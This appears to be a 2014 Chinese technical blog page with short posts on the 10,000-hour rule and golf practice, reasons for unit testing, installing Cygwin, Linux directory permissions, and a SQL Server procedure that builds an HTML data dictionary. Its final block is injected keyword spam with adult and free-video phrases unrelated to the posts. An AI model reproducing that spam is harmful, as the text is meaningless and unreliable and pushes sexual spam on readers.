      前一段太太向我推薦了美國作家格蘭維爾的《異數(shù)》,在這本書里,他提出了一萬小時定律。
      一萬小時定律的含義是:"人們眼中的天才,之所以卓越非凡,并非天資超人一等,而是付出了持續(xù)不斷的努力,只要經(jīng)過一萬小時的錘煉,任何人都能從平凡變成超凡。"
      他認為天才不過是做了足夠多練習的人,一個人想在任何領域取得成功,就必須要經(jīng)過一萬小時,也就是每天三小時,練習十年。只有受到如此多的訓練,才能達到精通的程度。
      一萬小時定律對天才也作出了詮釋,對天才奧秘作了深刻的揭示,也就是所謂的天才都是經(jīng)過后天的學習,訓練取得的。而后天的訓練,必須是個自覺的刻苦的過程,這個過程需要一萬小時以上的時間。
      一萬小時是個重要的數(shù)字,是個突破的臨界點,如果以每天五個小時計算,那么需要六年。格蘭維爾引用了大量的數(shù)據(jù)表明,世界上無論任何行業(yè),當你具備基本技能后,最終能否出類拔萃,成為專家權威大師,只有一個因素最重要:就是練習、練習、再練習,最低限度一萬小時。
      現(xiàn)在很多研究表明,在多個領域內(nèi),智商跟能不能達到專家的水平是沒有關系的。這個理論里面有一點非常強調(diào),這些練習都必須是刻意進行的。在我們生活中,有很多人也堅持了很長時間,但都沒有成為真正的專家,其中一個很重要的原因,就是沒有進行刻意的練習。
      天才是來自于刻意的練習。
      通過對一萬小時定律的研讀,我也深受啟發(fā),我覺得我現(xiàn)在學習高爾夫的狀態(tài)應該和一萬小時定律有很契合的地方。從我開始練球到現(xiàn)在,大概已有三千多個小時,所以如果我繼續(xù)努力去練習,堅持到一萬個小時的話,應該會有很好的突破。
      當然以我的年齡來算的話,到了一萬個小時,我已經(jīng)五十多歲了,那個時候身體應該是和現(xiàn)在又有了很大的差別,可能身體已經(jīng)無法支撐我完成所要進行的練習。這可能是我最遺憾的地方,我開始練球有些太晚了。
      通過這個理論,還是對我有很大的鼓舞,我想還會堅持下去,即使會遇到困難,我也不希望自己放棄。另外通過這個理論,也讓我覺得像高爾夫這項運動,我們的孩子或者年青的一代,甚至三十多歲人,如果有決心的話,一定可以成功。
      所以我計劃除了周末,每天的練習時間一定不能少于6個小時。最好能夠每天達到8個小時。這樣的話我要達到自己的目標的話,還需要三年的時間。

    posted @ 2014-10-11 11:05 順其自然EVO 閱讀(245) | 評論 (0)編輯 收藏

    編寫單元測試的10條理由

    Anna寫了一篇10 reasons to write unit tests的文章,原文已經(jīng)打不開,不過其觀點還是非常不錯的。本文摘錄如下:
      1. 不要讓客戶發(fā)現(xiàn)難堪的bug。在bug進入產(chǎn)品生產(chǎn)環(huán)節(jié)前編寫足夠的測試場景來捕獲它們。
      2. 對于復雜的場景,快速測試它,不必在程序中手動地重現(xiàn)去它們。
      3. 經(jīng)常測試,在你離開的時候程序便不會出錯。你不可能總能了解你所編寫代碼的各種可能情況,尤其最初的程序并不一定是由你編寫的。
      4. 盡早測試,就不需要編寫一些不必要的代碼,而可只關注關鍵部分。這可以使得代碼庫精簡且易于維護。同樣可以節(jié)約開發(fā)時間。
      5. 同一代碼不必兩番調(diào)試。一旦你測試發(fā)現(xiàn)可能的bug后,你便可以快速地修正它。
      6. 可以確保可讀性。單元測試可使代碼的意圖易于理解。
      7. 確保可維護性。進行單元測試可迫使你更好地實現(xiàn)封裝功能,從而使代碼易于維護而且方便增加新功能。
      8. 重構時無需擔心。運行測試可確保一切功能如預期實現(xiàn)。
      9. 節(jié)省測試時間。你可以將整個CPU用來執(zhí)行單元測試。
      10. 更安全。對于增加一個新功能或者修改部分程序內(nèi)核后你是否經(jīng)常會感到擔心呢?(進行單元測試后)這一切不再了。
      11. 中獎:確切知道哪里出問題了。取代盲目的發(fā)現(xiàn)bug,測試可以告訴你問題及原因所在。舉例:程序會告訴你什么時候cart中增加了一個條目而cart顯示仍然是空的。它也會告訴你某個試圖增加的條目失敗了。
      你是怎么看的呢?歡迎發(fā)表評論。

    posted @ 2014-10-11 11:04 順其自然EVO 閱讀(189) | 評論 (0)編輯 收藏

    Windows下模擬Linux開發(fā)

    1、背景
      Linux環(huán)境下開發(fā)是大勢所趨,也是開發(fā)者必須掌握的技能。然windows系統(tǒng)已深入人心,實在不想放棄windows下的成熟應用,因此可以在Windows上模擬一個Linux系統(tǒng)。這樣就滿足了開發(fā)者的需求。
      2、所需軟件
      Cygwin。下載地址:http://cygwin.com/。此處筆者下載的是cygwin-setup-x86_64.exe。
      3.安裝
      (1)點擊運行
      (2)選擇從網(wǎng)上下載安裝
      (3)設置安裝路徑以及使用用戶
      (4)選擇下載包存放目錄
    (5)選擇下載方式
      (6)選擇下載地址,在國內(nèi),選國內(nèi)的網(wǎng)址,帶.cn的,第一個是163.com但,筆者試過,沒下面選擇的快。
      (7)選擇安裝包,記得點一下“Devel”,后面的Default會變成Install.
      (8)下一步,顯示將要下載的包
      (9)等待下載,此過程時間略長
      下載完成之后,也就安裝完成了。運行之后,便可以出現(xiàn)Linux的黑窗口了。

    posted @ 2014-10-11 10:57 順其自然EVO 閱讀(278) | 評論 (0)編輯 收藏

    Linux目錄權限小記

     r : 擁有讀取目錄結構列表的權限
      x:擁有進入此目錄的權限
      w:?
      1: 建立新的檔案和目彔; 2刪除已經(jīng)存在的檔案和目錄(無論該檔案的權限為何!) 3能夠重命名檔案和目錄; 4 能夠移動目錄里面的檔案和目錄。
      如果在/tmp下面有個test目錄,其權限如下
      drwxrwxr-x. 4 root root 4096 11月  9 15:11 test
      test目錄里面有個檔案名為testfile
      -rw-r--r-x. 1 root root  137 11月  9 15:12 testfile 則其他用戶對testfile只能有讀和執(zhí)行的權限。
      但如果將test目錄的權限改為如下格式:
      [root@tarbitrary tmp]# chmod o+w test [root@tarbitrary tmp]# ls -ld test drwxrwxrwx. 4 root root 4096 11月  9 15:11 test
      在這種情況下,即使其他用戶對其目錄下的testfile沒有w權限,也可以對其進行強制寫入,且強制寫入后,檔案的所屬者及群組更改為當前編輯者及其所屬群組.

    posted @ 2014-10-09 10:30 順其自然EVO 閱讀(198) | 評論 (0)編輯 收藏

    自動生成數(shù)據(jù)庫字典(sql2008)

    每次做項目的時候都要做數(shù)據(jù)字典,這種重復的工作實在很是痛苦,于是廣找資料,終于完成了自動生成數(shù)據(jù)庫字典的工作,廢話少說,上代碼。
      存儲過程:
    SET ANSI_NULLS ON
    GO
    SET QUOTED_IDENTIFIER ON
    GO
    -- =============================================
    -- Author:        <Carbe>
    -- Create date: <2014-09-19>
    -- Description:    <生成數(shù)據(jù)庫字典>
    -- =============================================
    CREATE PROCEDURE [dbo].[CreateDatabaseDictionarie]
    AS
    BEGIN
    DECLARE @TableName nvarchar(35),@htmls varchar(8000)
    DECLARE @字段名稱 VARCHAR(200)
    DECLARE @類型  VARCHAR(200)
    DECLARE @長度 VARCHAR(200)
    DECLARE @數(shù)值精度 VARCHAR(200)
    DECLARE @小數(shù)位數(shù) VARCHAR(200)
    DECLARE @默認值 VARCHAR(200)
    DECLARE @允許為空 VARCHAR(200)
    DECLARE @外鍵 VARCHAR(200)
    DECLARE @主鍵 VARCHAR(200)
    DECLARE @描述 VARCHAR(200)
    SET NOCOUNT ON;
    DECLARE Tbls CURSOR
    FOR
    Select distinct Table_name
    FROM INFORMATION_SCHEMA.COLUMNS
    order by Table_name
    OPEN Tbls
    PRINT '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">'
    PRINT '<html xmlns="http://www.w3.org/1999/xhtml">'
    PRINT '    <head>'
    PRINT '        <title>KC管理系統(tǒng)-數(shù)據(jù)庫字典</title>'
    PRINT '        <style type="text/css">'
    PRINT '            body{margin:0; font:11pt "arial", "微軟雅黑"; cursor:default;}'
    PRINT '            .tableBox{margin:10px auto; padding:0px; width:1000px; height:auto; background:#FBF5E3; border:1px solid #45360A}'
    PRINT '            .tableBox h3 {font-size:12pt; height:30px; line-height:30px; background:#45360A; padding:0px 0px 0px 15px; color:#FFF; margin:0px; text-align:left }'
    PRINT '            .tableBox table {width:1000px; padding:0px }'
    PRINT '            .tableBox th {height:25px; border-top:1px solid #FFF; border-left:1px solid #FFF; background:#F7EBC8; border-right:1px solid #E0C889; border-bottom:1px solid #E0C889 }'
    PRINT '            .tableBox td {height:25px; padding-left:10px; border-top:1px solid #FFF; border-left:1px solid #FFF; border-right:1px solid #E0C889; border-bottom:1px solid #E0C889 }'
    PRINT '        </style>'
    PRINT '    </head>'
    PRINT '    <body>'
    FETCH NEXT FROM Tbls INTO @TableName
    WHILE @@FETCH_STATUS = 0
    BEGIN
    Select @htmls = '        <h3>' + @TableName + ' : '+ CAST(Value as varchar(1000)) + '</h3>'
    FROM sys.extended_properties AS A
    WHERE A.major_id = OBJECT_ID(@TableName)
    and name = 'MS_Description' and minor_id = 0
    PRINT '        <div class="tableBox">'
    PRINT @htmls
    PRINT '            <table cellspacing="0">'
    PRINT '                <tr>'
    PRINT '                    <th>字段名稱</th>'
    PRINT '                    <th>類型</th>'
    PRINT '                    <th>長度</th>'
    PRINT '                    <th>數(shù)值精度</th>'
    PRINT '                    <th>小數(shù)位數(shù)</th>'
    PRINT '                    <th>默認值</th>'
    PRINT '                    <th>允許為空</th>'
    PRINT '                    <th>外鍵</th>'
    PRINT '                    <th>主鍵</th>'
    PRINT '                    <th>描述</th>'
    PRINT '                </tr>'
    DECLARE TRows CURSOR
    FOR
    SELECT
    '                    <td>' + CAST(clmns.name AS VARCHAR(35)) + '</td>',
    '                    <td>' + CAST(udt.name AS CHAR(15)) + '</td>' ,
    '                    <td>' + CAST(CAST(CASE WHEN typ.name IN (N'nchar', N'nvarchar') AND clmns.max_length <> -1 THEN clmns.max_length/2 ELSE clmns.max_length END AS INT) AS VARCHAR(20)) + '</td>',
    '                    <td>' + CAST(CAST(clmns.precision AS INT) AS VARCHAR(20)) + '</td>',
    '                    <td>' + CAST(CAST(clmns.scale AS INT) AS VARCHAR(20)) + '</td>',
    '                    <td>' + isnull(CAST(cnstr.definition AS VARCHAR(20)),'') + '</td>',
    '                    <td>' + CAST(clmns.is_nullable AS VARCHAR(20)) + '</td>' ,
    '                    <td>' + CAST(clmns.is_computed AS VARCHAR(20)) + '</td>' ,
    '                    <td>' + CAST(clmns.is_identity AS VARCHAR(20)) + '</td>' ,
    '                    <td>' + ISNULL(CAST(exprop.value AS VARCHAR(500)),'') + '</td>'
    FROM sys.tables AS tbl
    INNER JOIN sys.all_columns AS clmns ON clmns.object_id=tbl.object_id
    LEFT OUTER JOIN sys.indexes AS idx ON idx.object_id = clmns.object_id AND 1 =idx.is_primary_key
    LEFT OUTER JOIN sys.index_columns AS idxcol ON idxcol.index_id = idx.index_id AND idxcol.column_id = clmns.column_id AND idxcol.object_id = clmns.object_id AND 0 = idxcol.is_included_column
    LEFT OUTER JOIN sys.types AS udt ON udt.user_type_id = clmns.user_type_id
    LEFT OUTER JOIN sys.types AS typ ON typ.user_type_id = clmns.system_type_id AND typ.user_type_id = typ.system_type_id
    LEFT JOIN sys.default_constraints AS cnstr ON cnstr.object_id=clmns.default_object_id
    LEFT OUTER JOIN sys.extended_properties exprop ON exprop.major_id = clmns.object_id AND exprop.minor_id = clmns.column_id AND exprop.name = 'MS_Description'
    WHERE (tbl.name = @TableName and exprop.class = 1) --I don't wand to include comments on indexes
    ORDER BY clmns.column_id ASC
    OPEN TRows
    FETCH NEXT FROM TRows INTO @字段名稱,@類型,@長度,@數(shù)值精度,@小數(shù)位數(shù),@默認值,@允許為空,@外鍵,@主鍵,@描述
    WHILE @@FETCH_STATUS = 0
    BEGIN
    PRINT '                <tr>'
    PRINT @字段名稱
    PRINT @類型
    PRINT @長度
    PRINT @數(shù)值精度
    PRINT @小數(shù)位數(shù)
    PRINT @默認值
    PRINT @允許為空
    PRINT @外鍵
    PRINT @主鍵
    PRINT @描述
    PRINT '                </tr>'
    FETCH NEXT FROM TRows INTO @字段名稱,@類型,@長度,@數(shù)值精度,@小數(shù)位數(shù),@默認值,@允許為空,@外鍵,@主鍵,@描述
    END
    CLOSE TRows
    DEALLOCATE TRows
    PRINT '            </table>'
    PRINT '        </div>'
    FETCH NEXT FROM Tbls INTO @TableName
    END
    PRINT '    </body>'
    PRINT '</html>'
    CLOSE Tbls
    DEALLOCATE Tbls
    END
     當然這些通過PRING出來的代碼使用傳統(tǒng)的方式是調(diào)用不到的,通過查找資料,終于在國外一個XXX網(wǎng)站找到了解決方案。
    private static string message = "";
    public static string ExecuteNonQuery(string connextionString, CommandType commandType, string commandText, bool outputMsg)
    {
    if (connextionString == null || connextionString.Length == 0) throw new ArgumentNullException("connectionString");
    // Create & open a SqlConnection, and dispose of it after we are done
    using (SqlConnection connection = new SqlConnection(connextionString))
    {
    message = "";
    connection.Open();
    connection.InfoMessage += delegate(object sender, SqlInfoMessageEventArgs e)
    {
    message += "\n" + e.Message;
    };
    // Call the overload that takes a connection in place of the connection string
    if (connection == null) throw new ArgumentNullException("connection");
    // Create a command and prepare it for execution
    SqlCommand cmd = new SqlCommand(commandText, connection); ;
    cmd.CommandType = commandType;
    // Finally, execute the command
    int retval = cmd.ExecuteNonQuery();
    // Detach the SqlParameters from the command object, so they can be used again
    cmd.Parameters.Clear();
    connection.Close();
    return message;
    }
    }
      調(diào)用就不用寫了嘛。一切就這么簡單,生成的是一份標準的htm代碼,可直接放到HTML里面,當然也可以直接從數(shù)據(jù)庫讀取出來顯示。

    posted @ 2014-10-09 10:29 順其自然EVO 閱讀(256) | 評論 (0)編輯 收藏

    僅列出標題
    共394頁: First 上一頁 35 36 37 38 39 40 41 42 43 下一頁 Last 
    <2025年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    導航

    統(tǒng)計

    常用鏈接

    留言簿(55)

    隨筆分類

    隨筆檔案

    文章分類

    文章檔案

    搜索

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 免费欧洲美女牲交视频| 亚洲理论片在线观看| 永久免费av无码入口国语片| 亚洲免费一级视频| 亚洲中文字幕无码一区二区三区 | 久久久久亚洲国产AV麻豆| 亚洲AV无码成人专区片在线观看 | 永久免费视频网站在线观看| 日韩在线观看免费| 亚洲色精品三区二区一区| 亚洲国产精品久久久久婷婷老年| 国产精品国产午夜免费福利看| 1区2区3区产品乱码免费| 在线观看的免费网站无遮挡| 最近免费中文字幕MV在线视频3| 黄 色一级 成 人网站免费| 在线亚洲精品视频| 亚洲一级毛片视频| 久久久久亚洲Av无码专| 亚洲国产无套无码av电影| 亚洲精品国产综合久久一线| 国产高清视频在线免费观看| 99久久国产免费-99久久国产免费 99久久国产免费中文无字幕 | 久久久久av无码免费网| 日韩免费观看一区| a级黄色毛片免费播放视频| 四虎成人精品国产永久免费无码| 丰满妇女做a级毛片免费观看| 亚洲日韩在线中文字幕综合| 亚洲欧美日韩一区二区三区在线 | 亚洲av无码专区在线观看素人| 免费看AV毛片一区二区三区| 噼里啪啦电影在线观看免费高清| 99视频在线看观免费| 成人免费毛片内射美女-百度| 亚欧色视频在线观看免费| 全免费一级午夜毛片| 中文字幕精品无码亚洲字| 亚洲日本va在线视频观看| 中文字幕亚洲一区| 亚洲日韩乱码中文无码蜜桃|